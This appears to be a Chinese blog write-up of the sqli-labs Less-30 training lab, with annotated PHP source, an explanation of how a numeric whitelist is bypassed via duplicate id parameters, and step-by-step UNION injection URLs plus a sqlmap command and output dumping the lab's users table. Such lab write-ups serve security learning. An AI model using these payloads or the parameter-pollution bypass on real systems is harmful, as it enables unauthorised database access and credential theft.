当前位置: 首页 > news >正文

sqli-labs通关笔记-第30关GET字符注入(WAF绕过 双引号闭合 手工注入+脚本注入两种方法)

目录

一、源码分析

1、index.php代码审计

2、login.php代码审计

3、java_implimentation函数

4、whitelist函数

5、SQL安全性分析

二、渗透实战

1、进入靶场

2、WAF探测

(1)触发WAF

(2)绕过WAF

3、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第30关Less 30可以绕过WAF的GET字符型SQL注入关卡进行渗透实战,与29关相比主要的区别是闭合方式由单引号变为双引号。

一、源码分析

本关卡Less30是基于GET字符型的SQL注入关卡,如下所示。

1、index.php代码审计

Less30关卡index.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,且不再打印数据库报错信息,具体区别如下所示。

index.php详细注释后的代码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-30</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 引入数据库连接参数(包含敏感信息)
include("../sql-connections/sql-connect.php");// 禁用PHP错误报告(可能隐藏安全警告)
error_reporting(0);// 处理用户输入的id参数
if(isset($_GET['id']))
{// 获取用户输入的id参数$id = $_GET['id'];// 记录用户输入到日志文件(未过滤可能的恶意内容)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 获取完整的查询字符串用于提示信息$qs = $_SERVER['QUERY_STRING'];$hint = $qs;// 在用户输入的id前后添加双引号(形成 "id" 的格式)// 这是本关卡的核心特点:使用双引号包围用户输入$id = '"' . $id . '"';// 构造SQL查询语句(直接拼接用户输入,存在SQL注入风险)// 注意:这里id变量已经被双引号包围,形成 "id" 的格式$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";// 执行SQL查询(使用不安全的mysql_*函数,已废弃)$result = mysql_query($sql);// 获取查询结果$row = mysql_fetch_array($result);// 根据查询结果输出信息if($row){// 成功查询时显示用户信息echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {// 失败时显示错误信息(已注释掉数据库错误输出,减少信息泄露)echo '<font color= "#FFFF00">';//print_r(mysql_error());  // 注释掉错误输出,降低安全风险echo "</font>";  }
}
else { // 提示用户输入ID参数echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center><img src="../images/Less-30.jpg" /></br></br></br><img src="../images/Less-30-1.jpg" /></br></br><font size='4' color= "#33FFFF"><?php// 显示用户输入的查询字符串提示echo "Hint: The Query String you input is: " . $hint;?></font> 
</center>
</body>
</html>

本关卡 PHP 代码实现了一个简单的用户信息查询页面,但由于未对GET方法传入参数id进行过滤,存在严重的SQL安全隐患,本关卡核心功能如下:

  1. 参数接收:通过 GET 方法获取用户传入的id参数,使用双引号包裹,未经过滤直接拼接到SQL语句中。
  2. 日志记录:将用户输入的id记录到result.txt文件,用于分析。
  3. 数据库查询:使用mysql_query函数执行 SQL 查询,尝试从users表获取对应id的用户记录。
  4. 结果展示:如果查询成功,显示用户名和密码;如果失败,不显示数据库报错信息。
  5. 提示信息:页面下方显示完整的查询字符串,可能用于帮助用户调试或开发者分析。

2、login.php代码审计

Less30关卡login.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,但是相对于index.php,本login.php打印数据库报错信息,具体区别如下所示。

login.php功详细注释后的代码如下所示。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-30 Protection with WAF</title>
</head>
<body bgcolor="#000000">
<!-- 页面标题和样式 -->
<div style="margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 包含数据库连接文件
include("../sql-connections/sql-connect.php");
// 禁用错误报告
error_reporting(0);// 处理GET参数
if(isset($_GET['id']))
{// 获取原始查询字符串$qs = $_SERVER['QUERY_STRING'];$hint=$qs; // 保存用于显示的提示信息// 处理HTTP参数污染(HPP)$id1=java_implimentation($qs);$id=$_GET['id'];// 白名单验证whitelist($id1);// 使用双引号包裹ID值 - 关键风险点$id = '"' .$id. '"';// 记录日志$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
} else { echo "Please input the ID as parameter with numeric value";
}// 白名单过滤函数 - 只允许数字输入
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if(!$match) {    header('Location: hacked.php');exit;}
}// 模拟HPP(HTTP参数污染)处理
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;break;}}
}
?>
</font> </div>
<!-- 页面底部图片和提示 -->
<center>
<img src="../images/Less-30.jpg" /><br>
<img src="../images/Less-30-1.jpg" /><br>
<font size='4' color= "#33FFFF">
<?php echo "Hint: The Query String you input is: ".$hint; ?>
<br><br>
<!-- 安全相关文档链接 -->
<a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
<a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">WAF绕过技术文档</a>
</font> 
</center>
</body>
</html>

login.php功代码是一个带有 WAF 防护的 Web 应用。核心功能包括如下内容。

  • 用户输入处理:通过$_GET['id']获取参数,使用双引号包裹id,。
  • 对第一个id参数进行过滤处理
    • whitelist函数对参数id使用正则表达式验证输入是否为纯数字,阻止非数字攻击载荷。
    • java_implimentation模拟 Java 应用对 HTTP 参数污染的处理逻辑,仅提取第一个id参数值进行验证。
  • 数据库操作:将用户输入id拼接至 SQL 语句,
    • 如果仅有一个参数id,通过函数过滤后使用SQL语句查询数据库用户信息
    • 如果存在第二个参数id的话则是没有任何过滤直接拼接到SQL语句中。
  • 日志记录:将用户输入的id参数记录到result.txt,用于分析。
  • 结果反馈:成功查询时显示用户名和密码,失败时暴露数据库错误信息(如mysql_error()) 

3、java_implimentation函数

java_implimentation函数的核心目的是模拟 Java 应用处理 HTTP 参数污染 (HPP) 的行为差异。PHP 默认会将重复参数名的值合并为数组,而 Java Servlet 容器通常只处理第一个出现的参数。该函数通过以下步骤提取处理后的参数。

function java_implimentation($query_string)
{$q_s = $query_string;$qs_array = explode("&", $q_s);  // 按&分割参数字符串foreach($qs_array as $key => $value){$val = substr($value, 0, 2);  // 检查参数名前两位if($val == "id"){$id_value = substr($value, 3, 30);  // 提取等号后的值return $id_value;  // 仅返回第一个匹配的id参数值break;}}
}

java_implimentation函数的设计初衷是模拟 Java 应用处理 HTTP 参数污染(HPP)的行为差异,其核心逻辑是从原始查询字符串中提取第一个出现的id参数值,并忽略后续同名参数。函数通过将查询字符串按&分割为参数数组,遍历查找首个以id=开头的参数,提取其值(跳过id=部分)并返回。然而,这一实现存在严重安全风险:它仅验证第一个id参数是否为纯数字(通过白名单),但 SQL 查询却使用原始的、未过滤的id参数,导致攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --)绕过验证机制,实现 SQL 注入攻击。这种验证与使用分离的设计缺陷,使得函数非但未能增强安全性,反而成为SQL注入攻击的触发点。

4、whitelist函数

whitelist()函数使用正则表达式验证输入是否为纯数字,具体处理如下所示。

function whitelist($input) {$match = preg_match("/^\d+$/", $input);if ($match) {// 验证通过,不做处理} else {	header('Location: hacked.php');}
}
  • 功能:实现白名单机制,仅允许纯数字输入,意图阻止非数字类型的 SQL 注入攻击。
  • 参数$input为待验证的用户输入(来自java_implimentation函数提取的第一个id参数值)
  • 正则表达式:核心函数$match = preg_match("/^\d+$/", $input),要求输入完全由数字组成,不允许包含任何非数字字符(如字母、符号、空格等)
    • ^:匹配输入字符串的开始位置。
    • \d+:匹配一个或多个数字(等价于[0-9]+)。
    • $:匹配输入字符串的结束位置。
  • 条件判断与响应:

    • 验证通过($match1
      不执行任何操作,允许程序继续执行数据库查询。
    • 验证失败($match0
      通过header('Location: hacked.php')重定向到hacked.php页面,模拟 “攻击检测成功” 的响应。
  • 安全风险原因:

    • 函数仅验证第一个id参数(由java_implimentation函数提取),但未处理其他id参数。
    • SQL 查询使用的是原始$_GET['id']参数(包含所有提交的id参数),而非验证通过的$id1
  • 绕过原理:通过提交多个id参数,使第一个参数为纯数字(通过验证),第二个参数包含恶意载荷:

    • // 示例 payload
      id=1&id=1" OR 1=1 --+
      验证阶段:java_implimentation提取第一个参数id=1,whitelist验证通过(因为第一关参数1为纯数字)。
    • 查询阶段:$_GET['id']为第二个id参数1" OR 1=1 --+,被直接拼入 SQL 语句,触发SQL注入。

5、SQL安全性分析

尽管代码尝试通过白名单过滤数字输入,但存在以下致命缺陷:

  • java_implimentation绕过防护:java_implimentation()仅验证第一个id参数,攻击者可通过提交多个id参数(如id=1&id=1" OR 1=1 --),使第一个参数通过验证,第二个参数传入到SQL语句触发 SQL 注入风险。
  • 未处理 SQL 拼接:第二个参数变量$id直接拼入 SQL 语句,未使用预处理语句或转义函数,直接执行SELECT * FROM users WHERE id="$id" LIMIT 0,1导致恶意 payload 可破坏 SQL 语法结构。
  • 错误信息泄露:mysql_error()直接输出数据库错误,可能泄露表名、字段名等敏感信息,辅助攻击者构造攻击载荷。

二、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第30关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less30关卡,进入到靶场的第30关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: The Query String you input is: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-30

访问30关卡的login.php,URL与访问页面如下所示。

http://127.0.0.1/sqli-labs/Less-30/login.php

访问30关卡的hacked.php,URL如下所示。

http://192.168.59.1/sqli-labs/Less-30/hacked.php

根据源码分析我们得知,仅当访问login.php且第一id非数字时会进入如下页面。 

2、WAF探测

(1)触发WAF

访问login.php,第一个参数设置为纯数字1单引号,因为第一关id不是纯数字触发了防火墙的防护,被重定向到hacked.php,效果如下所示。

http://127.0.0.1/sqli-labs/Less-30/login.php?id=1'

(2)绕过WAF

访问login.php,第一个参数设置为纯数字1,第二个参数id设置为1" or 1=1--+,效果如下所示绕过了防火墙的防护,当前页面显示查询成功,显示id=1的用户名和密码,没有重定向到hacked.php。

http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=1" or 1=1--+

3、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 4--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+

4、渗透实战

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1*" --current-db  --batch --dump

特别注意,本次渗透并没有选择index.php?id=1的网址,否则本关卡与第1关没有任何区别了,本关卡选择login.php后面跟着两个参数id,其中第一个参数id=1用于绕过Waf,第二个参数id=1*则是指定注入点。执行注入命令后,sqlmap渗透成功,可以通过联合注入法、报错法、时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND 2583=2583#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND GTID_SUBSET(CONCAT(0x716b6a6271,(SELECT (ELT(5237=5237,1))),0x71767a7071),5237)-- NpJWType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND (SELECT 7156 FROM (SELECT(SLEEP(5)))RDwn)-- TQecType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=-3633" UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a6271,0x6273634f6461476c54424b734b504173504c415a6365414a656a70654a567a55685774724472646f,0x71767a7071)#
---
[01:45:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[01:45:11] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
http://www.xdnf.cn/news/1241227.html

相关文章:

  • AI Agents漏洞百出,恶意提示等安全缺陷令人担忧
  • 高防服务器租用的作用都有哪些?
  • 随笔之 ClickHouse 列式分析数据库安装注意事项及基准测试
  • 【BUUCTF系列】[SUCTF 2019]EasySQL1
  • 【论文简读】LongSplat
  • Claude Code深度操作指南:从零到专家的AI编程助手实战
  • MAC-Spring Cloud + Spring Boot + RocketMQ集成
  • 链表问题解决分析框架
  • SP20D120CTU:1200 V/20 A SiC肖特基二极管的TO-263封装升级版,数据工程师必看!
  • 政府财政行业云原生转型之路
  • Maya 2024安装指南及安装包下载
  • 车载通信架构 ---车内通信的汽车网络安全
  • Linux中netstat详细使用指南
  • 【Linux】System V - 基于建造者模式的信号量
  • DP-v2.1-mem-clean学习(3.6.8.2-3.6.8.3)
  • Linux文件权限管理与ACL配置指南
  • wpf Image 转 90 度
  • 9.感知机、神经网络
  • 国产化Word处理控件Spire.Doc教程:Python提取Word文档中的文本、图片、表格等
  • Excel商业智能分析报表 【销售管理分析仪】
  • 百度翻译详解:包括PaddleNLP、百度AI开放平台、接口逆向(包括完整代码)
  • Android工程命令行打包并自动生成签名Apk
  • Go语言高并发价格监控系统设计
  • 向量空间模型
  • 从exec到Shell:深度解析Linux进程等待,程序替换与自主Shell实现
  • 抛出自定义异常
  • Android UI 组件系列(九):ListView 性能优化与 ViewHolder 模式实战
  • 复现论文《A Fiber Bragg Grating Sensor System for Train Axle Counting》
  • 多级表头的导出
  • 如何使用EF框架操作Sqlite